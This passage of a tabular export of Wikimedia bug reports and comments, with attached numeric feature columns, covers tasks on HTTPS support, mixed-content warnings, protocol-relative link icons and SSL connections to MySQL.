**Platform**: PC",Needs Triage,90.0,1328339220,1328365291.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_description,resolved,True,c2,1,False,False,True,-82,True,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,2.0,4.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,4.0,4.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.5053763440860215,0.5483870967741935,"**Author:** CODE

**Description:**
While I was translating a page on wikimania2012.wikimedia.org into Korean, I encountered this error: I couldn't save text including the protocol https. Please review the error. 

Here is one of the urls:
URL

Thank you.

--------------------------
**Version**: unspecified
**Severity**: trivial
**OS**: Windows 7
**Platform**: PC"
165142,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**qbphcqdw** wrote:

(In reply to comment #1)
> Likely dupe of bug 34182.

Thank you for letting me know the bug.",,,1328365777,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.8214285714285716,0.8571428571428571,"**qbphcqdw** wrote:

(In reply to comment #1)
QUOTE

Thank you for letting me know the bug."
165136,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**qbphcqdw** wrote:

Aha, I see what the error is. Thank you.

%%%*** This bug has been marked as a duplicate of bug 34182 ***%%%",,,1328365291,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,9.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.4545454545454546,0.6136363636363636,"**qbphcqdw** wrote:

Aha, I see what the error is. Thank you.

%%%*** This bug has been marked as a duplicate of bug 34182 ***%%%"
165130,"Can't save text including the protocol https on wikimania2012, translating it into Korean",Likely dupe of bug 34182.,,,1328339918,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Likely dupe of bug 34182.
35897,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"There are a lot of http links to mail.wiki[pm]edia.org, where mailman and pipermail are located.

I use the HTTPS Everywhere, and it was trying to force https instead of http, and reporting ""Connection refused"" errors.

One solution is to add an exclusion to the ruleset. eww

https://gitweb.torproject.org/https-everywhere.git/blob_plain/HEAD:/src/chrome/content/rules/Wikipedia.xml

Another solution is to add https support.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://lists.wikimedia.org/",Needs Triage,90.0,1327298220,1329820969.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-nutez2fenp3vderamehw,task_description,resolved,True,c2,1,True,False,True,-84,True,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,13.0,1.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,2.0,8.0,3.0,0.0,2.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.903225806451613,0.5591397849462365,"There are a lot of http links to mail.wiki[pm]edia.org, where mailman and pipermail are located.

I use the HTTPS Everywhere, and it was trying to force https instead of http, and reporting ""Connection refused"" errors.

One solution is to add an exclusion to the ruleset. eww

URL

Another solution is to add https support.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
158148,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"This issue was fixed on February 7 by Daniel Zahn.


http://mail.wikipedia.org/
http://mail.wikimedia.org/

Both redirect to https://lists.wikimedia.org/mailman/listinfo",,,1329820969,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,40.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9,"This issue was fixed on February 7 by Daniel Zahn.


URL
URL

Both redirect to URL"
158141,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,Create RT ticket https://rt.wikimedia.org/Ticket/Display.html?id=2315.,,,1327336485,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-84,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Create RT ticket URL
158134,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"mail.wikimedia.org & mail.wikipedia.org do not respond to HTTPS. Protocol should be enabled and a wildcard redirect set just like the HTTP version.

HTTP currently redirect to URL:

https://lists.wikimedia.org/mailman/listinfo",,,1327320608,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-84,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,18.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.848484848484849,0.8181818181818182,"mail.wikimedia.org & mail.wikipedia.org do not respond to HTTPS. Protocol should be enabled and a wildcard redirect set just like the HTTP version.

HTTP currently redirect to URL:

URL"
35269,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","**Author:** `it_is_me_here`

**Description:**
On the English Wikipedia, at least, if you type something like ""[//en.wikipedia.org/w/index.php?title=Main_Page&oldid=464887589]"" and are yourself browsing the site through https://en.wikipedia.org, then the external link will show up with a normal EL symbol (a square with an arrow leaving it), rather than with an HTTPS EL symbol (a padlock), even though the link will direct you to an HTTPS URL.

--------------------------
**Version**: 1.18.x
**Severity**: minor
**OS**: Windows 7
**Platform**: PC",Needs Triage,90.0,1324375620,1324395684.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-n3siqim7537mxhgjm3f5,task_description,resolved,True,c2,1,False,False,True,-89,True,0.0,0.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.5,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,12.5,1.5,0.5,6.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,2.5,7.0,7.5,0.0,1.0,0.0,2.5,0.0,0.0,4.0,0.5,1.5,0.0,0.5,0.5,3.571428571428571,0.6984126984126984,"**Author:** CODE

**Description:**
On the English Wikipedia, at least, if you type something like ""[//en.wikipedia.org/w/index.php?title=Main_Page&oldid=464887589]"" and are yourself browsing the site through URL then the external link will show up with a normal EL symbol (a square with an arrow leaving it), rather than with an HTTPS EL symbol (a padlock), even though the link will direct you to an HTTPS URL.

--------------------------
**Version**: 1.18.x
**Severity**: minor
**OS**: Windows 7
**Platform**: PC"
156797,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","

*** This bug has been marked as a duplicate of bug 30682 ***",,,1324395684,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 30682 ***"
156792,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","(In reply to comment #1)
> Hmmm.
> 
> Those padlock icons are done through css like a.external[href^=""https://""]
> which won't trigger for protocol relative.
> 
> 
> Not sure if its possible to serve some css only to secure folks with a
> a.external[href^=""//""] type rule. It seems like that would conflict with the
> whole one version of things regardless of protocol.
I don't believe this is possible, no. This is a duplicate of another bug but I can't find it offhand.",,,1324395619,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,25.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,0.0,6.0,6.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.019230769230769,0.5961538461538461,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
I don't believe this is possible, no. This is a duplicate of another bug but I can't find it offhand."
156785,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","Hmmm.

Those padlock icons are done through css like a.external[href^=""https://""] which won't trigger for protocol relative.


Not sure if its possible to serve some css only to secure folks with a a.external[href^=""//""] type rule. It seems like that would conflict with the whole one version of things regardless of protocol.",,,1324376516,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,2.0,0.0,0.0,2.0,3.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,3.0,19.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.610169491525424,0.847457627118644,"Hmmm.

Those padlock icons are done through css like a.external[href^=""URL which won't trigger for protocol relative.


Not sure if its possible to serve some css only to secure folks with a a.external[href^=""//""] type rule. It seems like that would conflict with the whole one version of things regardless of protocol."
34774,Request ability to connect to MySQL using SSL,"**Author:** `todd_taft`

**Description:**
I'd like to be able to connect to a (remote) MySQL server using SSL connections between the web server and the MySQL server.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1322857440,1345354756.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-anw5smyguvlxi2yrdq36,task_description,resolved,True,c2,1,False,False,True,-91,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6724137931034484,0.5862068965517241,"**Author:** CODE

**Description:**
I'd like to be able to connect to a (remote) MySQL server using SSL connections between the web server and the MySQL server.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
154507,Request ability to connect to MySQL using SSL,"https://gerrit.wikimedia.org/r/19933

Doesn't add installer magic, unfortunately, because I don't have much experience with that. Somebody else can add those options if necessary.",,,1345063804,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-54,True,3.0,3.0,0.0,0.0,7.0,7.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,14.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.586206896551724,0.8620689655172413,"GERRIT_URL

Doesn't add installer magic, unfortunately, because I don't have much experience with that. Somebody else can add those options if necessary."
154500,Request ability to connect to MySQL using SSL,Certainly worth seeing if we can do the same for Postgres and Oracle at the same,,,1322865836,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,19.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0625,0.875,Certainly worth seeing if we can do the same for Postgres and Oracle at the same
154494,Request ability to connect to MySQL using SSL,"**todd_taft** wrote:

Replacing 

$this->mConn = mysql_pconnect( $realServer, $user, $password );

with

$this->mConn = mysql_pconnect( $realServer, $user, $password, MYSQL_CLIENT_SSL );

and

this->mConn = mysql_connect( $realServer, $user, $password, true );

with

this->mConn = mysql_connect( $realServer, $user, $password, true, MYSQL_CLIENT_SSL );

in includes/db/DatabaseMysql.php seems to work.

It would be nice to have the appropriate magic in the installer (and presumably a variable in LocalSettings.php) to enable this without requiring this minor source code change.",,,1322860106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,4.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,1.0,6.5,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,4.0546875,0.53125,"**todd_taft** wrote:

Replacing 

$this->mConn = mysql_pconnect( $realServer, $user, $password );

with

$this->mConn = mysql_pconnect( $realServer, $user, $password, MYSQL_CLIENT_SSL );

and

this->mConn = mysql_connect( $realServer, $user, $password, true );

with

this->mConn = mysql_connect( $realServer, $user, $password, true, MYSQL_CLIENT_SSL );

in includes/db/DatabaseMysql.php seems to work.

It would be nice to have the appropriate magic in the installer (and presumably a variable in LocalSettings.php) to enable this without requiring this minor source code change."
154488,Request ability to connect to MySQL using SSL,"**preilly** wrote:

You can find the list of flags located at http://www.php.net/manual/en/mysql.constants.php#mysql.client-flags",,,1322858901,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0555555555555554,0.8333333333333334,"**preilly** wrote:

You can find the list of flags located at URL"
154481,Request ability to connect to MySQL using SSL,"Note that as a workaround, you may be able to add flags to the mysql_connect() calls in DatabaseMySql::open().",,,1322858440,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,21.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.875,0.875,"Note that as a workaround, you may be able to add flags to the mysql_connect() calls in DatabaseMySql::open()."
34522,SSL mixed content warning on donation landing page (BPAY_Landscape_MONO.gif),"At https://donate.wikimedia.org/wiki/Special:FundraiserLandingPage?uselang=en&country=IN&template=Lp-layout-default&appeal-template=Appeal-template-default&appeal=Appeal-default&form-template=Form-template-default&form-countryspecific=Form-countryspecific-variable1&utm_medium=sitenotice&utm_source=B11_Donate_Jimmy2_AvsB&utm_campaign=C11_1114_AvsB_IN seen on bug 32484, my Firefox 8 shows:

""Security Warning

You have requested an encrypted page that contains some unencrypted information. Information that you see or enter on this page could easily be read by a third party.""

Offending file is:
http://upload.wikimedia.org/wikipedia/donate/e/e3/BPAY_Landscape_MONO.gif

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://donate.wikimedia.org/wiki/Special:FundraiserLandingPage?uselang=en&country=IN&template=Lp-layout-default&appeal-template=Appeal-template-default&appeal=Appeal-default&form-template=Form-template-default&form-countryspecific=Form-countryspecific-variable1&utm_medium=sitenotice&utm_source=B11_Donate_Jimmy2_AvsB&utm_campaign=C11_1114_AvsB_IN",Needs Triage,90.0,1321815660,1321846081.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-dcqi5pod3x75e3hicaln,task_description,resolved,True,c2,1,True,False,True,-93,True,1.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,2.0,16.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,5.0,4.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.728395061728395,0.6419753086419753,"At URL seen on bug 32484, my Firefox 8 shows:

""Security Warning

You have requested an encrypted page that contains some unencrypted information. Information that you see or enter on this page could easily be read by a third party.""

Offending file is:
URL

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
157851,SSL mixed content warning on donation landing page (BPAY_Landscape_MONO.gif),"Thanks Brion,

This is clearly a ""James was being stupid"" bug. That image wasn't even loading on any pages I just put it in for a mockup on another page and wasn't thinking about proto rel or https. This has been fixed.",,,1321846063,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-dcqi5pod3x75e3hicaln,task_subcomment,,True,c2,1,False,,,-93,True,2.0,0.0,0.0,2.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,14.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5098039215686274,0.8235294117647058,"Thanks Brion,

This is clearly a ""James was being stupid"" bug. That image wasn't even loading on any pages I just put it in for a mockup on another page and wasn't thinking about proto rel or https. This has been fixed."
34477,MWHttpRequest may have to require_once() GlobalFunctions.php,"**Author:** `raphael.droz`

**Description:**
If
* you attempt to MWHttpRequest::factory() (eg, during bootstrap, from an extension),
* and you don't have curl (should I ?)

=> then you're getting failures because wfIniGetBool() is not yet defined

There should be a way to require(GlobalFunctions.php) in such a case.

HTTP component set to ""redirect"", feel free to change this.

--------------------------
**Version**: 1.20.x
**Severity**: minor",Needs Triage,90.0,1321628700,1321890399.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-okehmm44iuapntenizn5,task_description,declined,True,c2,1,False,False,True,-93,True,0.0,0.0,0.0,1.0,1.5,1.0,1.0,0.5,0.0,0.5,1.0,1.0,0.0,0.0,1.0,0.5,0.0,3.0,6.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,6.5,1.0,0.5,4.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,6.0,3.0,0.5,2.0,0.0,2.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.5,3.5441077441077438,0.6698653198653199,"**Author:** CODE

**Description:**
If
* you attempt to MWHttpRequest::factory() (eg, during bootstrap, from an extension),
* and you don't have curl (should I ?)

=> then you're getting failures because wfIniGetBool() is not yet defined

